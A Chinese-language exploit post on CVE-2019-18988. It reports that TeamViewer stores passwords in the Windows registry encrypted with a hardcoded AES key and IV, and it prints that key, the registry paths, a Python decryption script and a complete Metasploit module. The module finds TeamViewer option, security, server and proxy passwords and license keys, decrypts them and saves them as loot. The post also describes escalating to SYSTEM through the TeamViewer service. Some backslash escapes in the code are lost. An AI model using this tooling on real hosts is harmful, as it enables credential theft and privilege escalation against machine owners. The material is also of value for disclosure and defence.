CVE-2019-18988 teamviewer将用户名密码硬编码至注册表中

CVE-2019-18988 teamviewer将用户名密码硬编码至注册表中

TeamViewer stored user passwords encrypted with AES-128-CBC with they key of 0602000000a400005253413100040000 and iv of 0100010067244F436E6762F25EA8D704 in the Windows registry. If the password is reused anywhere, privilege escalation is possible. If you do not have RDP rights to machine but TeamViewer is installed, you can use TeamViewer to remote in. TeamViewer also lets you copy data or schedule tasks to run through their Service, which runs as NT AUTHORITYSYSTEM, so a low privilege user can immediately go to SYSTEM with a .bat file. This was assigned CVE-2019-18988.



存放的注册表位置如下

      [ "HKLM\SOFTWARE\WOW6432Node\TeamViewer\Version7", "Version" ],
      [ "HKLM\SOFTWARE\WOW6432Node\TeamViewer\Version8", "Version" ],
      [ "HKLM\SOFTWARE\WOW6432Node\TeamViewer\Version9", "Version" ],
      [ "HKLM\SOFTWARE\WOW6432Node\TeamViewer\Version10", "Version" ],
      [ "HKLM\SOFTWARE\WOW6432Node\TeamViewer\Version11", "Version" ],
      [ "HKLM\SOFTWARE\WOW6432Node\TeamViewer\Version12", "Version" ],
      [ "HKLM\SOFTWARE\WOW6432Node\TeamViewer\Version13", "Version" ],
      [ "HKLM\SOFTWARE\WOW6432Node\TeamViewer\Version14", "Version" ],
      [ "HKLM\SOFTWARE\WOW6432Node\TeamViewer\Version15", "Version" ],
      [ "HKLM\SOFTWARE\WOW6432Node\TeamViewer", "Version" ],
      [ "HKLM\SOFTWARE\TeamViewer\Temp", "SecurityPasswordExported" ],
      [ "HKLM\SOFTWARE\TeamViewer", "Version" ],
    ]

解密代码如下

import sys, hexdump, binascii
from Crypto.Cipher import AES

class AESCipher:
    def __init__(self, key):
        self.key = key

    def decrypt(self, iv, data):
        self.cipher = AES.new(self.key, AES.MODE_CBC, iv)
        return self.cipher.decrypt(data)

key = binascii.unhexlify("0602000000a400005253413100040000")
iv = binascii.unhexlify("0100010067244F436E6762F25EA8D704")
hex_str_cipher = "d690a9d0a592327f99bb4c6a6b6d4cbe"			# output from the registry

ciphertext = binascii.unhexlify(hex_str_cipher)

raw_un = AESCipher(key).decrypt(iv, ciphertext)

print(hexdump.hexdump(raw_un))

password = raw_un.decode('utf-16')
print(password)

msf 模块如下

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
# @blurbdust based this code off of https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/credentials/gpp.rb
# and https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/enum_ms_product_keys.rb
##

class MetasploitModule < Msf::Post
  include Msf::Post::Windows::Registry

  def initialize(info={})
    super(update_info(info,
        'Name'          => 'Windows Gather TeamViewer Passwords',
        'Description'   => %q{ This module will find and decrypt stored TeamViewer keys },
        'License'       => MSF_LICENSE,
        'Author'        => [ 'Nic Losby <blurbdust[at]gmail.com>'],
        'Platform'      => [ 'win' ],
        'SessionTypes'  => [ 'meterpreter' ]
      ))
  end

  def app_list
    results = ""
    keys = [
      [ "HKLM\SOFTWARE\WOW6432Node\TeamViewer\Version7", "Version" ],
      [ "HKLM\SOFTWARE\WOW6432Node\TeamViewer\Version8", "Version" ],
      [ "HKLM\SOFTWARE\WOW6432Node\TeamViewer\Version9", "Version" ],
      [ "HKLM\SOFTWARE\WOW6432Node\TeamViewer\Version10", "Version" ],
      [ "HKLM\SOFTWARE\WOW6432Node\TeamViewer\Version11", "Version" ],
      [ "HKLM\SOFTWARE\WOW6432Node\TeamViewer\Version12", "Version" ],
      [ "HKLM\SOFTWARE\WOW6432Node\TeamViewer\Version13", "Version" ],
      [ "HKLM\SOFTWARE\WOW6432Node\TeamViewer\Version14", "Version" ],
      [ "HKLM\SOFTWARE\WOW6432Node\TeamViewer\Version15", "Version" ],
      [ "HKLM\SOFTWARE\WOW6432Node\TeamViewer", "Version" ],
      [ "HKLM\SOFTWARE\TeamViewer\Temp", "SecurityPasswordExported" ],
      [ "HKLM\SOFTWARE\TeamViewer", "Version" ],
    ]

    keys.each do |keyx86|

      #parent key
      p = keyx86[0,1].join

      #child key
      c = keyx86[1,1].join

      key      = nil
      keychunk = registry_getvaldata(p, c)
      key      = keychunk.unpack("C*") if not keychunk.nil?

      optpass  = registry_getvaldata(p, "OptionsPasswordAES")
      secpass  = registry_getvaldata(p, "SecurityPasswordAES")
      secpasse = registry_getvaldata(p, "SecurityPasswordExported")
      servpass = registry_getvaldata(p, "ServerPasswordAES")
      proxpass = registry_getvaldata(p, "ProxyPasswordAES")
      license  = registry_getvaldata(p, "LicenseKeyAES")

      if not optpass.nil? 
        decvalue = decrypt(optpass)
        if not decvalue.nil?
          print_good("Found Options Password: #{decvalue}")
          results << "Options:#{decvalue}
"
        end
      end
      if not secpass.nil? 
        decvalue = decrypt(secpass)
        if not decvalue.nil?
          print_good("Found Security Password: #{decvalue}")
          results << "Security:#{decvalue}
"
        end
      end
      if not secpasse.nil? 
        decvalue = decrypt(secpasse)
        if not decvalue.nil?
          print_good("Found Security Password Exported: #{decvalue}")
          results << "SecurityE:#{decvalue}
"
        end
      end
      if not servpass.nil? 
        decvalue = decrypt(servpass)
        if not decvalue.nil?
          print_good("Found Server Password: #{decvalue}")
          results << "Server:#{decvalue}
"
        end
      end
      if not proxpass.nil? 
        decvalue = decrypt(proxpass)
        if not decvalue.nil?
          print_good("Found Proxy Password: #{decvalue}")
          results << "Proxy:#{decvalue}
"
        end
      end
      if not license.nil? 
        decvalue = decrypt(license)
        if not decvalue.nil?
          print_good("Found License Key: #{decvalue}")
          results << "License:#{decvalue}
"
        end
      end
    end

    #Only save data to disk when there's something in the table
    if not results.empty?
      path = store_loot("host.teamviewer_passwords", "text/plain", session, results, "teamviewer_passwords.txt", "TeamViewer Passwords")
      print_good("Passwords stored in: #{path.to_s}")
    end
  end

  def decrypt(encrypted_data)
    password = ""
    return password unless encrypted_data

    password = ""
    original_data = encrypted_data.dup

    decoded = encrypted_data
    #print_status(decoded)

    key = "x06x02x00x00x00xa4x00x00x52x53x41x31x00x04x00x00"
    iv  = "x01x00x01x00x67x24x4Fx43x6Ex67x62xF2x5ExA8xD7x04"
    aes = OpenSSL::Cipher.new("AES-128-CBC")
    begin
      aes.decrypt
      aes.key = key
      aes.iv = iv
      plaintext = aes.update(decoded)
      password = Rex::Text.to_ascii(plaintext, 'utf-16le')
      if plaintext.empty?
        return nil
      end
    rescue OpenSSL::Cipher::CipherError => e
      puts "Unable to decode: "#{encrypted_data}" Exception: #{e}"
    end

    password
  end

  def run
    print_status("Finding TeamViewer Passwords on #{sysinfo['Computer']}")
    app_list
  end
end